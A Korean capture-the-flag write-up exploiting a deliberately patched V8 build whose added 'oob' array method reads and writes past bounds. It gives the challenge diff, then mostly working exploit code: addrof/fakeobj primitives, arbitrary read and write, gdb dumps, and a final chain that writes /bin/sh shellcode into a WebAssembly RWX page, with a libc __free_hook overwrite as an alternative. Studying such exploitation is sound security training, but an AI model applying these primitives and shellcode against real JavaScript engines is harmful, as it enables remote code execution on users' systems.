commit hash는 6dc88c191f5ecc5389dc26efa3ca0907faef3598
이다.
file ./v8/out/x64.release/d8
source ./v8/tools/gdbinit
set args --shell ./ex.js --allow-natives-syntax
편하게 미리 스크립트 짜서 디버깅하면 편하다.
--allow-natives-syntax 해주면 %DebugPrint()같은 함수 사용가능하다.
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
index를 length로 해서 oob가 난다.
기본적으로 자기 자신도 오브젝트로 넘겨주기 때문에 args.length()가 항상 1 이상이다.
oob를 통해 map을 read, write가 가능하다.
write를 통해 type confusion을 일으킬 수 있다.
let buf = new ArrayBuffer(8);
let f64_buf = new Float64Array(buf);
let u64_buf = new BigUint64Array(buf);
let float_arr = [1.1, 2.2, 3.3,4.4]
let float_map = float_arr.oob()
let obj = {'a':'b'}
let obj_arr = [obj]
let obj_map = obj_arr.oob()
function ftoi(val){
f64_buf[0] = val;
return u64_buf[0];
}
function itof(val){
u64_buf[0] = val;
return f64_buf[0];
}
function addrof(object){
obj_arr[0] = object;
obj_arr.oob(float_map);
let res = obj_arr[0];
obj_arr.oob(obj_map);
return ftoi(res);
}
float map으로 overwrite 해주는 이유는 v8에서 64bit integer가 없기 때문이다.
|----- 32 bits -----|----- 32 bits -----|
Pointer: |________________address______________w1|
Smi: |____int32_value____|0000000000000000000|
32bit smi만 존재한다.
fixedArray = [0x7FFFFFFF] //FixedArray
fixedDoubleArray = [0x80000000] //FixedDoubleArray
8 byte 단위로 쓰려면 double 형으로 접근해서 r/w를 해야한다.
function fakeobj(address){
float_arr[0] = itof(address);
float_arr.oob(obj_map);
let res = float_arr[0];
float_arr.oob(float_map);
return res;
}
fake object를 리턴한다.
let arb_rw = [float_map,1.1,2.2,3.3]
function aar(address){
if (address %2n ==0){
address += 1n;
}
let fake = fakeobj(addrof(arb_rw) - 0x20n); // elements address
arb_rw[2] = itof(BigInt(address) - 0x10n);
return ftoi(fake[0]);
}
function init_aaw(address, value){
let fake = fakeobj(addrof(arb_rw) - 0x20n); // elements address, return JSArray
arb_rw[2] = itof(BigInt(address) - 0x10n);
fake[0] = itof(BigInt(value)) // write value
}
function aaw(address, value){
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
init_aaw(addrof(buf) + 0x20n, address); // backing pointer -> address
dataview.setBigUint64(0,BigInt(value),true); // write value
}
[FixedDobuleArray]
map
length(smi)
element0
element1
element2
element3
[JSArray]
map
property
element_ptr (FixedDobuleArray)
length(smi)
JSArray-0x20n은 element pointer + 0x10 부분이다.
element 부분을 fake object로 만들어서 리턴해주고, element pointer를 address - 0x10으로 주면 element0에 접근하면서 aar이 가능하다.
pwndbg> job 0x116c2b94ec31
0x116c2b94ec31: [FixedDoubleArray]
- map: 0x210859a414f9 <Map>
- length: 4
0: 2.0014e-310
1: 1.1
2: 2.2
3: 3.3
pwndbg> job 0x116c2b94ec61
0x116c2b94ec61: [JSArray]
- map: 0x24d7ac2c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34d688111111 <JSArray[0]>
- elements: 0x116c2b94ec31 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x210859a40c71 <FixedArray[0]> {
#length: 0x2ace510401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x116c2b94ec31 <FixedDoubleArray[4]> {
0: 2.0014e-310
1: 1.1
2: 2.2
3: 3.3
}
pwndbg> x/4xg 0x116c2b94ec61-0x21
0x116c2b94ec40: 0x000024d7ac2c2ed9 0x3ff199999999999a
0x116c2b94ec50: 0x400199999999999a 0x400a666666666666
aaw도 비슷하다.
pwndbg> job 0x116c2b952349
0x116c2b952349: [JSArrayBuffer]
- map: 0x24d7ac2c21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x34d68810e981 <Object map = 0x24d7ac2c2209>
- elements: 0x210859a40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55a6fda20660
- byte_length: 16
- detachable
- properties: 0x210859a40c71 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> x/5xg 0x116c2b952349-1
0x116c2b952348: 0x000024d7ac2c21b9 0x0000210859a40c71
0x116c2b952358: 0x0000210859a40c71 0x0000000000000010
0x116c2b952368: 0x000055a6fda20660
Array Buffer의 backing_store를 덮어주고, DataView를 통해 컨트롤 할 수 있다.
import gdb
import struct
inf = gdb.selected_inferior()
print("addr : ",end='')
addr = input()
res = gdb.execute(f"xinfo {addr}",to_string=True)
if addr.startswith("0x"):
addr = int(addr,16)
else:
addr = int(addr)
if 'is not mapped' in res:
print("invalid address")
else:
res = res[res.find('Containing mapping:')+20:res.find('Offset')]
res = res.split()
addr_st = int(res[1],16)
addr_end = int(res[2],16)
print("target addr start: ",end='')
tar_st = input()
if tar_st.startswith("0x"):
tar_st = int(tar_st,16)
else:
tar_st = int(tar_st)
print("target addr end : ",end='')
tar_end = input()
if tar_end.startswith("0x"):
tar_end = int(tar_end,16)
else:
tar_end = int(tar_end)
mem = inf.read_memory(addr_st, addr_end-addr_st)
memory = [0 for _ in range((addr_end-addr_st)//8)]
for i in range((addr_end-addr_st)//8):
memory[i] = (struct.unpack("<Q",mem[8*i:8*i+8]))[0]
for i,j in enumerate(memory):
if j >= tar_st and j<= tar_end:
print(f"\n{hex(i*8 + addr_st)} | {hex(j)} -- offset : {hex((i*8 + addr_st) - addr)}",end='')
print()
주소 찾으려고 작성한 스크립트이다.
let buf = new ArrayBuffer(8);
let f64_buf = new Float64Array(buf);
let u64_buf = new BigUint64Array(buf);
let float_arr = [1.1, 2.2, 3.3,4.4]
let float_map = float_arr.oob()
let obj = {'a':'b'}
let obj_arr = [obj]
let obj_map = obj_arr.oob()
function ftoi(val){
f64_buf[0] = val;
return u64_buf[0];
}
function itof(val){
u64_buf[0] = val;
return f64_buf[0];
}
function addrof(object){
obj_arr[0] = object;
obj_arr.oob(float_map);
let res = obj_arr[0];
obj_arr.oob(obj_map);
return ftoi(res);
}
function fakeobj(address){
float_arr[0] = itof(address);
float_arr.oob(obj_map);
let res = float_arr[0];
float_arr.oob(float_map);
return res;
}
let arb_rw = [float_map,1.1,2.2,3.3]
function aar(address){
if (address %2n ==0){
address += 1n;
}
let fake = fakeobj(addrof(arb_rw) - 0x20n); // element address
arb_rw[2] = itof(BigInt(address) - 0x10n);
return ftoi(fake[0]);
}
function init_aaw(address, value){
let fake = fakeobj(addrof(arb_rw) - 0x20n); // element address, return JSArray
arb_rw[2] = itof(BigInt(address) - 0x10n);
fake[0] = itof(BigInt(value)) // write value
}
function aaw(address, value){
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
init_aaw(addrof(buf) + 0x20n, address); // backing pointer -> address
dataview.setBigUint64(0,BigInt(value),true); // write value
}
// ex) length = 2
// [FixedDobuleArray]
// map
// length(smi)
// element0
// element1
// [JSArray]
// map
// property
// element_ptr (FixedDobuleArray)
// length
// [JSArrayBuffer]
// map
// element_ptr(hole)
// element_ptr(hole)
// length
// backing_store -> buf
// var a = Object();
// var libc_ptr = aar(addrof(a)- 0x150n)+0x1298n;
// console.log(libc_ptr.toString(16));
// libc_base = aar(libc_ptr) -0x1ed1f0n;
// sys = libc_base + 0x52290n;
// free_hook = libc_base + 0x1eee48n;
// aaw(free_hook,sys);
// console.log("/bin/sh");
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var rwx = aar(addrof(wasmInstance) + 0x88n);
var sh = new ArrayBuffer(0x100);
var dv = new DataView(sh);
init_aaw(addrof(sh)+0x20n, rwx);
var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (var i = 0;i<shellcode.length;i++) {
dv.setUint8(i,shellcode[i],true);
}
f();
쉘코드를 rwx page에 박아서 실행하거나 libc leak 이후 hook overwrite를 해서 shell을 따도 된다.